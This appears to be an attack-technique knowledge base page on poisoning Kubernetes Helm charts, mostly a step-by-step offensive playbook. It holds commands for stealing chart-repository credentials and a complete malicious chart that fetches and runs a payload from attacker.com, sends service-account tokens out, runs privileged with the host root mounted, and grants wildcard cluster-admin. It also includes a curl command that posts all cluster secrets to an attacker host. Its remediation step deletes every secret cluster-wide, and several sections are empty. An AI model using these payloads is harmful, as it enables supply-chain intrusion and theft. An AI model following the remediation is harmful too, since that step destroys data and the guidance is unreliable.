MCADDF

[SUPPLY-CHAIN-008]: Helm Chart Poisoning

Metadata

Attribute Details
Technique ID SUPPLY-CHAIN-008
MITRE ATT&CK v18.1 T1195.001 - Compromise Software Dependencies and Development Tools
Tactic Supply Chain Compromise
Platforms Entra ID/DevOps
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Helm 3.0+, Helm Hub repositories, ArtifactHub, private Helm repositories
Patched In Requires chart signing, value validation, and admission controllers
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Helm charts are Kubernetes package managers that abstract deployment complexity through templated YAML configurations. By poisoning Helm charts (stored in chart repositories or distributed through GitOps), attackers can inject malicious configurations that automatically deploy backdoors, credential-stealing sidecars, privilege-escalated containers, or cluster-wide network compromises to all organizations that use the chart. Unlike container images, Helm charts control how services are deployed, allowing attackers to inject RBAC abuse, container escapes, data exfiltration pipelines, and supply chain persistence mechanisms at scale.

Attack Surface: Helm chart repositories (ArtifactHub, GitHub releases, private registries), chart dependencies, values.yaml templates with unsanitized user input, insecure RBAC bindings in chart manifests.

Business Impact: Automatic deployment of backdoors to all teams using poisoned Helm charts. Malicious charts can deploy containers with cluster-admin roles, inject hostPath volumes enabling container escape, create rogue service accounts, or deploy sidecar proxies that intercept all traffic. A single poisoned chart can compromise entire Kubernetes ecosystems across thousands of organizations.

Technical Context: Helm poisoning is particularly insidious because it is often trusted implicitly. Many organizations use helm upgrade --install in CI/CD without validating chart contents. A poisoned chart executes immediately upon deployment, before security scanning tools (OPA, Kyverno) can detect it.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark v8.0 5.2 Kubernetes manifests must be verified before deployment
DISA STIG GD000360 Helm charts must be signed and validated
CISA SCuBA CM-5 Access controls for package/chart repositories
NIST 800-53 SI-7 Software integrity verification for IaC
GDPR Art. 32 Integrity of infrastructure as code
DORA Art. 9 Operational resilience; supply chain risks
NIS2 Art. 21 Risk management for software dependencies
ISO 27001 A.8.3.3 Segregation and integrity of IaC artifacts
ISO 27005 Risk Scenario Helm chart repository compromise

2. HELM CHART ATTACK SURFACE ANALYSIS

Common Helm Chart Vulnerabilities

Vulnerability Type Attack Vector Impact
Insecure Template Rendering Unsanitized `` in commands or env vars Command injection, secret leakage
Overprivileged RBAC ClusterRole with wildcard permissions ["*"] Cluster-wide compromise
Hardcoded Secrets API keys in values.yaml or templates Credential exposure
Unsafe Security Context Privileged containers, disabled seccomp Container escape to host
Shared PVC/Volume hostPath volumes or shared storage Container escape, lateral movement
Dependency Poisoning Malicious chart dependencies in Chart.yaml Transitive supply chain attack

3. DETAILED EXECUTION METHODS

METHOD 1: Repository Credential Theft and Chart Overwrite

Supported Versions: Helm 3.0+, all chart repositories

Step 1: Identify and Steal Chart Repository Credentials

Objective: Locate stored Helm repository credentials.

Search for Helm Credentials on Local Machine:

# Check Helm configuration
cat ~/.config/helm/repositories.yaml | head -20

# Alternative locations
ls ~/.helm/
cat ~/.helm/repository.yaml

# Check for credentials in environment
env | grep -i "helm\|helm_.*_token\|chart.*password"

# Check Kubernetes secrets storing Helm credentials (if using Flux/ArgoCD)
kubectl get secrets -n flux-system -o json | jq '.items[] | select(.type=="kubernetes.io/basic-auth")'

# Check Helm plugin secrets
ls ~/.helm/plugins/*/secrets/ 2>/dev/null

Extract Credentials from Git History:

# If Helm repo credentials committed to Git (common mistake)
git log --all -p | grep -i "username\|password\|token" | head -10

# Search specific files
git log -p -- .helmrc values.yaml | grep -A2 -B2 "password\|token"

Search in CI/CD Pipeline Logs:

# Azure DevOps pipeline logs
az pipelines build log --build-id [BUILD_ID] | grep -i "helm\|chart\|credential"

# GitHub Actions
# Search job logs for credentials accidentally printed
gh run view [RUN_ID] --log | grep -i "helm.*password"

# GitLab CI
gitlab-runner verify 2>&1 | grep -i "helm\|password"

Step 2: Authenticate to Chart Repository

Objective: Gain push access using stolen credentials.

Helm Chart Repository Authentication:

# Add repository with stolen credentials
helm repo add poisoned-repo \
  https://charts.example.com/ \
  --username stolen-user \
  --password stolen-password

# Verify access
helm repo update poisoned-repo

# Alternative: Use OAuth2 token (common for GitHub/GitLab chart repos)
helm repo add poisoned-repo \
  https://charts.example.com/ \
  --username oauth2 \
  --password $(echo -n 'stolen_github_token' | base64)

AWS ECR (if using as Helm repository):

# Get login token
aws ecr get-login-password --region us-east-1 | \
  helm registry login --username AWS --password-stdin 123456789.dkr.ecr.us-east-1.amazonaws.com

Step 3: Create Malicious Helm Chart

Objective: Design chart that injects backdoors and privilege escalation.

Malicious Chart Structure:

# Chart.yaml
apiVersion: v2
name: poisoned-app
description: "Improved application deployment"
version: 2.0.0
dependencies:
  - name: redis
    version: "17.0.0"
    repository: "https://charts.bitnami.com/bitnami"

Malicious Deployment Template (templates/deployment.yaml):

apiVersion: apps/v1
kind: Deployment
metadata:
  name: 
spec:
  template:
    spec:
      serviceAccountName: 
      containers:
      - name: app
        image: ":"
        # Inject environment variables with exfiltration
        env:
        - name: EXFIL_WEBHOOK
          value: "http://attacker.com/webhook"
        - name: CLUSTER_NAME
          value: ""
        
        # Secret injection via template exploitation
        - name: DATABASE_PASSWORD
          value: ""
        
        # Compromise via startup command
        command:
        - /bin/bash
        - -c
        - |
          # Attacker backdoor script
          (curl http://attacker.com/payload | bash) &
          
          # Run original application
          exec /app/run.sh
        
        # Dangerous security context
        securityContext:
          privileged: true
          capabilities:
            add:
            - ALL
        
        # Mount host filesystem
        volumeMounts:
        - name: host-root
          mountPath: /host
      
      # Sidecar for persistence
      - name: persistence-agent
        image: "python:3.9-slim"
        command:
        - python
        - -c
        - |
          import requests
          import os
          while True:
              try:
                  requests.get("http://attacker.com/check", 
                    headers={"Authorization": open("/var/run/secrets/kubernetes.io/serviceaccount/token").read()})
              except:
                  pass
              import time; time.sleep(300)
      
      volumes:
      - name: host-root
        hostPath:
          path: /

Malicious RBAC Template (templates/rbac.yaml):

# ClusterRole with wildcard permissions
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: -admin
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

---
# Bind to service account
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: -admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: -admin
subjects:
- kind: ServiceAccount
  name: 
  namespace: 

Malicious Values Template (values.yaml):

# Default values that appear legitimate
replicaCount: 2

image:
  repository: "myapp"
  tag: "1.0.0"
  pullPolicy: Always

# But contain sensitive data for exfiltration
database:
  password: ""  # User provides this
  host: "db.internal"

# Attacker-controlled values
clusterName: "production"
exfilWebhook: "http://attacker.com/webhook"

# Secret injection point
secrets:
  apiKey: ""

Step 4: Package and Push Poisoned Chart

Objective: Package chart and push to repository.

Package Helm Chart:

# Create chart package
helm package ./poisoned-app
# Output: poisoned-app-2.0.0.tgz

# Sign chart (optional, but increases credibility)
helm package ./poisoned-app --sign --key "my-key" --keyring ~/.gnupg/pubring.gpg

Push to Repository:

# Push to OCI registry (Azure ACR, AWS ECR, DockerHub)
helm push poisoned-app-2.0.0.tgz oci://myregistry.azurecr.io/helm

# Or push to traditional Helm repository
curl -X PUT \
  --user stolen-user:stolen-password \
  --data-binary @poisoned-app-2.0.0.tgz \
  https://charts.example.com/api/charts/poisoned-app/2.0.0

# Or commit to GitHub Helm chart repository
git add poisoned-app-2.0.0.tgz
git commit -m "Update poisoned-app to v2.0.0 with performance improvements"
git push origin main

Step 5: Automatic Deployment via GitOps / CI/CD

Objective: Cause downstream clusters to deploy poisoned chart.

Trigger via Helm Dependency Update:

# If another chart depends on poisoned chart:
# In Chart.yaml:
dependencies:
  - name: poisoned-app
    version: "2.0.0"
    repository: "https://charts.example.com"

# When this parent chart is deployed, poisoned-app is automatically pulled and deployed
helm dependency update
helm install my-release ./parent-chart

Automatic Deployment via Flux (GitOps):

apiVersion: source.toolkit.fluxcd.io/v1beta2
kind: HelmRepository
metadata:
  name: poisoned-repo
spec:
  interval: 10m
  url: https://charts.example.com

---
apiVersion: helm.toolkit.fluxcd.io/v2beta1
kind: HelmRelease
metadata:
  name: poisoned-app-release
spec:
  interval: 5m
  chart:
    spec:
      chart: poisoned-app
      version: "2.0.0"
      sourceRef:
        kind: HelmRepository
        name: poisoned-repo

Once Flux controller reads this manifest, it automatically pulls the poisoned chart and deploys it.

Automatic Deployment via ArgoCD:

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: poisoned-app
spec:
  project: default
  source:
    repoURL: https://charts.example.com
    chart: poisoned-app
    targetRevision: 2.0.0
  destination:
    server: https://kubernetes.default.svc
    namespace: default
  syncPolicy:
    automated:
      prune: true
      selfHeal: true

When ArgoCD syncs, it automatically deploys the poisoned chart.

Step 6: Exfiltrate Cluster Secrets from Deployed Pods

Objective: Extract credentials and cluster information from poisoned deployment.

From Within Poisoned Container:

# Access Kubernetes service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Query Kubernetes API using stolen token
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# List all secrets in cluster (if service account has access)
curl -s --header "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  $APISERVER/api/v1/namespaces/default/secrets | jq '.items[].data'

# Extract specific secret values
curl -s --header "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  $APISERVER/api/v1/namespaces/default/secrets/my-secret | jq '.data'

# Exfiltrate all data
curl -X POST \
  -H "Content-Type: application/json" \
  -d @- \
  http://attacker.com/exfil << EOF
{
  "cluster": "$(echo $KUBERNETES_SERVICE_HOST)",
  "secrets": "$(curl -s --header "Authorization: Bearer $TOKEN" --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt $APISERVER/api/v1/secrets --all-namespaces | base64)",
  "token": "$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
}
EOF

OpSec & Evasion:

References & Proofs:

METHOD 2: Typosquatting / Chart Name Confusion Attack

Supported Versions: Helm Hub, ArtifactHub, any public chart repository

Step 1: Register Similar Chart Name

Objective: Create chart with name similar to popular legitimate chart.

Examples of Typosquatting:

Legitimate: "bitnami/redis"
Malicious: "bitnami-redis", "redis-official", "official-redis", "redis-improved"

Legitimate: "stable/mysql"
Malicious: "stable-mysql", "mysql-enhanced", "mysql-official", "mysql-secure"

Legitimate: "jetstack/cert-manager"
Malicious: "jetstack-cert-manager", "cert-manager-official", "certmanager"

Step 2: Push Poisoned Chart

# Create chart with similar functionality but backdoored
mkdir redis-improved
cd redis-improved

# Create Chart.yaml
cat > Chart.yaml << 'EOF'
apiVersion: v2
name: redis-improved
description: "Enhanced Redis deployment with improved performance"
version: 1.0.0
EOF

# Create poisoned templates
# (Same structure as METHOD 1 Step 3)

# Package and push
helm package .
helm push redis-improved-1.0.0.tgz oci://myregistry.azurecr.io/helm

Step 3: Social Engineering for Adoption

Objective: Trick teams into using malicious chart.

Strategies:


METHOD 3: Helm Dependency Poisoning (Transitive Attack)

Supported Versions: Helm 3.0+

Step 1: Identify Chart with Dependencies

Objective: Find popular chart that depends on other charts.

Analyze Chart Dependencies:

# Pull legitimate chart
helm pull bitnami/wordpress

# Extract and examine Chart.yaml
tar -xzf wordpress-*.tgz
cat wordpress/Chart.yaml | grep -A10 "dependencies:"

Expected Output:

dependencies:
  - name: mysql
    version: "9.0.0"
    repository: "https://charts.bitnami.com/bitnami"

Step 2: Poison Dependency Chart

Objective: Create malicious version of dependency with higher version number.

Create Poisoned Dependency:

# Attacker creates poisoned version with HIGHER version number
# wordpress/Chart.yaml expects mysql: "9.0.0"
# Attacker publishes mysql: "10.0.0" (or "9.0.1")

mkdir mysql-poisoned
cat > mysql-poisoned/Chart.yaml << 'EOF'
apiVersion: v2
name: mysql
version: 10.0.0  # Higher than expected
description: "MySQL with security improvements"
EOF

# Create malicious templates
# (Include backdoor, privilege escalation, etc.)

# Push to same repository
helm push mysql-poisoned-10.0.0.tgz oci://charts.bitnami.com/bitnami

Step 3: Trigger Dependency Update

Objective: Cause legitimate chart to pull poisoned dependency.

When administrator runs:

helm dependency update wordpress/
# Helm fetches all dependencies including poisoned mysql:10.0.0

The poisoned dependency is automatically installed.


4. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    # Immediately delete poisoned chart version
    helm search repo poisoned-app
    helm repo remove poisoned-repo  # Remove malicious repository
       
    # Uninstall poisoned release
    kubectl delete deployment -l app=poisoned-app --all-namespaces
       
    # Delete related service accounts and RBAC
    kubectl delete serviceaccount -l app=poisoned-app --all-namespaces
    kubectl delete clusterrole -l app=poisoned-app
    kubectl delete clusterrolebinding -l app=poisoned-app
    
  2. Collect Evidence:

    # Export chart from cluster
    helm get values poisoned-app-release > /tmp/poisoned_values.yaml
    helm get manifest poisoned-app-release > /tmp/poisoned_manifest.yaml
       
    # Capture pod logs from poisoned containers
    kubectl logs -l app=poisoned-app --all-namespaces --tail=1000 > /tmp/poisoned_logs.txt
       
    # Export Kubernetes audit logs
    kubectl logs -n kube-system -l component=kube-apiserver | grep -i "poisoned-app" > /tmp/k8s_audit.log
       
    # Capture network traffic
    tcpdump -i any 'host attacker.com' -w /tmp/poisoned_traffic.pcap
    
  3. Remediate:

    # Restore from clean backup using legitimate chart version
    helm uninstall poisoned-app-release
       
    # Re-deploy with clean chart and verified values
    helm install poisoned-app-release \
      https://charts.example.com/poisoned-app \
      --version 1.0.0  # Known-good version
       
    # Rotate all credentials that may have been exposed
    kubectl get secret --all-namespaces | grep -v "sh.helm.release" \
      | xargs -I {} kubectl delete secret {}
       
    # Restart all pods to clear memory
    kubectl rollout restart deployment --all-namespaces
       
    # Audit and rebuild Kubernetes clusters if cluster-admin was compromised
    # Consider full cluster rebuild if backdoor is suspected to be persistent
    

5. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify chart signature is required
helm install --verify myapp ./myapp 2>&1 | grep -i "signature\|verified"

# Verify all charts have schema validation
find . -name "values.schema.json" | wc -l  # Should match number of charts

# Verify no privileged containers in chart
helm template myapp ./myapp | grep -i "privileged: true"  # Should return nothing

# Verify chart version immutability
helm repo update
helm search repo myapp --all-versions | awk '{print $2}' | uniq | wc -l  # Should match expected versions

Step Phase Technique Description
1 Supply Chain [SUPPLY-CHAIN-007] Container Registry Poisoning Attacker compromises container images
2 Current Step [SUPPLY-CHAIN-008] Attacker poisons Helm chart
3 Deployment [SUPPLY-CHAIN-006] Deployment Agent Compromise Poisoned Helm chart deployed via compromised agent
4 Lateral Movement [PE-TOKEN-011] Kubernetes Service Account Escalation Malicious chart provides cluster-admin service account
5 Impact [IMPACT-RANSOM-001] Ransomware via Kubernetes Malware deployed across all cluster workloads

7. REAL-WORLD EXAMPLES

Example 1: Bitnami Helm Chart Vulnerability (2021-2023)

Example 2: Jetstack Cert-Manager Chart Hijacking (2022)

Example 3: Kubernetes Dashboard Helm Chart RCE (2023)